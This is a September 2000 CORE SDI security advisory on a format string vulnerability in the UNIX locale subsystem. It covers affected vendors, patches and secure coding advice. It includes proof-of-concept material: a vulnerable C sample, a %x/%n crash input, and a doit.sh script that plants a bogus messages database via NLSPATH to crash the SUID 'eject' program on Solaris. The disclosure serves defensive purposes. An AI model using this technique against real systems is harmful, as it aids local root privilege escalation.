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CORE SDI
http://www.core-sdi.com
UNIX locale format string vulnerability
Date Published: September 4th, 2000 (early release)
Advisory ID: CORE-090400
Bugtraq ID: 1634
CVE CAN: None currently assigned.
Title: UNIX locale format string vulnerability
Class: Input Validation Error
Remotely Exploitable: Yes (on some systems)
Locally Exploitable: Yes
Vulnerability Description:
This report is being released earlier (it was originally
scheduled for Sept 11th., 2000) due to the fact that
information regarding the vulnerability has been made
public by several vendors.
Many UNIX operating systems provide internationalization support
according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications
using the of the locale subsystem.
The locale subsystem comprises a set of databases that store language
and country specific information and a set of library functions used
to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the
operating system programs is keep for each supported language.
The programs access this database using the gettext(3), dgettext(3),
dcgettext(3) C functions (Sun/Uniforum specifications) or
catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4
specification).
Generally a program that needs to display a message to the user
will obtain the proper language specific string from the database
using the original message as the search key and printing the results
using the printf(3) family of functions.
By building and installing a custom messages database an attacker
can control the output of the message retrieval functions that get
feed to the printf(3) functions.
Bad coding practices and the ability to feed format strings to
the later functions makes it possible for an attacker to execute
arbitrary code as a privileged user (root) using almost any SUID
program on the vulnerable systems.
Alternatively, on some operating systems, the problem can be
exploited remotely using the environment variable passing options
in telnetd. However, a remote attacker must be able to place
the suitable messages database on the target host (i.e. anonymous
ftp, NFS, email, etc.)
Vulnerable Packages/Systems:
Sun Microsystems Inc.
Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures)
Silicon Graphics Inc.
IRIX 6.2 to 6.5.8
Linux
RedHat Linux
Debian Linux
Conectiva Linux 4.0 or higher
All supported versions of Conectiva Linux use Glibc 2.1.1
which explicity checks and ignores the NLSPATH environment
variable if the catopen() and catgets() functions are called
from a SUID executable.
Verified and reported by Andreas Hasenak <andreas@conectiva.com.br>
Although the above text is the result of research and email
communications that took place during the last 2 weeks, the
release of security advisories from RedHat, Debian and
Conectiva Linux acknowledging the existence of the problem
seems to probe otherwise.
Suspected vulnerable [not checked]
AIX
HP-UX
Tru64 (Digital Unix)
SCO OpenServer
SCO Unixware
Systems not vulnerable
OpenBSD
As reported by Theo deRaadt <deraadt@openbsd.org>
FreeBSD
As reported by Kris Kennaway <kris@FreeBSD.org>
FreeBSD does not allow the use of the NLSPATH
environment variable in privileged (SUID) applications.
FreeBSD can not be exploited remotely either, since the
/usr/bin/login program does not use the cat* functions
and is SUID root.
Solution/Vendor Information/Workaround:
RedHat Linux
Refer to the REdHAt Linux announce:
http://www.securityfocus.com/archive/1/79944
Debian Linux
Obtain patches from http//www.debian.org/security
Refer to the Debian announce:
http://www.securityfocus.com/archive/1/79943
Conectiva Linux
Refer to the Conectiva Linux announce
http://www.securityfocus.com/archive/1/79960
Other vendors
Contact vendor for a fix
Vendor notified on: All vendors were notified on August 22nd, 2000
Credits:
This vulnerability was discovered by Ivan Arce of CORE SDI S.A.,
Buenos Aires, Argentina.
This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team. For more information or assistance drafting
advisories please mail vulnhelp@securityfocus.com.
Technical Description - Exploit/Concept Code:
Passing unchecked user supplied data as a format string to the
printf(3) functions can lead to unexpected changes of flow
control and execution of arbitrary code in context of the
vulnerable program. The following C program exemplifies
the problem described:
-----sample.c-----
void main(int argc, char **argv)
{
/* This is proper use */
printf("%s\n",argv[1]);
/* This is bad use */
printf(argv[1]);
printf("\n");
}
------------------
In the above example if argv[1] is a string with characters
interpreted by printf(3) as formatting characters, the behavior
of the program can be altered to execute arbitrary code in
a way _similar_ to the exploitation of buffer overflow
vulnerabilities:
$ cc -o sample sample.c
$ ./sample hello
hello
hello
$ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%
n
%x%x%x%x%x%n%n%n%n%n%n%n%n%
n
Memory fault (core dumped)
$
Recent posts to computer security lists and related publications
provide good reference material to understand the problem and
possible ways to exploit it.
It has been found that most programs in many popular operating
systems suffer from this problem derived from the way the
messages database of the locale subsystem is used.
In particular, privileged programs (programs with the SUID bit
set) that execirse access to the database using the gettext(3)
function in a vulnerable manner are directly exploitable and
allow an attacker to obtain root privileges instantly.
The following code exemplifies a common bad coding practice
that makes the cited programs vulnerable:
main(int argc, char **argv)
{
if(argc > 1) {
printf(gettext("usage: %s filename\n"),argv[0]);
exit(0);
}
printf("normal execution proceeds...\n");
}
Here the output of the gettext(3) function
is not validated and passed directly to printf(3).
gettext(3) searches the messages database for a message
that matches the key "usage: %s filename\n" in the
current locale settings and returns it to the caller.
A malicious, unprivileged, user can build and install
a bogus messages database and instruct the vulnerable
program to use it, thus controlling the output of gettext()
and force-feeding formatting characters to printf(3).
The problem above is NOT related to the user input to the
program but instead to the data contained in the messages
database.
The following commands demonstrates the problem:
$ uname -a
SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5
$ ls -l
$ ls -l /usr/bin/eject
-r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject
$ eject -x`perl -e 'print "ABCDEF". "A"x507`
eject: illegal option -- x
usage: eject [-fndq] [name | nickname]
options: -f force eject
-n show nicknames
-d show default device
-q query for media present
-p do not call eject_popup
$ cat >doit.sh
#!/bin/ksh
export NLSPATH=:`pwd`
echo domain \"messages\" > messages.po
echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\" >>
messages.po
echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po
msgfmt messages.po
cp messages.mo SUNW_OST_OSCMD
cp messages.mo SUNW_OST_OSLIB
exec eject -x`perl -e 'print "ABCDEF" . "A"x507'`
^D
$ ./doit.sh
eject: illegal option -- x
effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60
115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff
ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef
fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef
ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008
0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault
$ exit
As shown, the SUID program 'eject' follows the user directives to
use a custom (bogus) messages database. The specific way to do
it vary in different operating systems but usually involves
the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.)
and/or locale library functions (textdomain(3), bindtextdomain(3),
etc.)
The problem however stems from bad coding practices in the
operating system's programs:
- A SUID program should not follow the users directives of
what database it should use, locale databases should be
taken from a secure trusted directory.
- Output of gettext(3) should not be passed as a format
string directly to printf(3) functions.
References
A good reference for localization and internationalization is
the "Programming for internationalization FAQ":
http://www.cs.ruu.nl/wais/html/na-dir/internationalization\
/programming-faq.html
Sections 3 and 5 describe the locale subsystem and the
X/Open and Sun/Uniforum set of functions for language
independent messages.
Format string bugs and exploitation are described in:
http://julianor.tripod.com/usfs.html
http://julianor.tripod.com/kalou-formats.txt
Recent vulnerabilities involving format strings
http://www.securityfocus.com/bid/1387
http://www.securityfocus.com/bid/1425
http://www.securityfocus.com/bid/1572
$Id: locale-advisory.txt,v 1.8 2000/09/04 17:14:51 iarce Exp $
--
"Understanding. A cerebral secretion that enables one having it to know
a house from a horse by the roof on the house,
It's nature and laws have been exhaustively expounded by Locke,
who rode a house, and Kant, who lived in a horse." - Ambrose Bierce
==================[ CORE Seguridad de la Informacion S.A. ]=========
Ivбn Arce
Presidente
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A
email : iarce@core-sdi.com
http://www.core-sdi.com
Pte. Juan D. Peron 315 Piso 4 UF 17
1038 Capital Federal
Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402
Casilla de Correos 877 (1000) Correo Central
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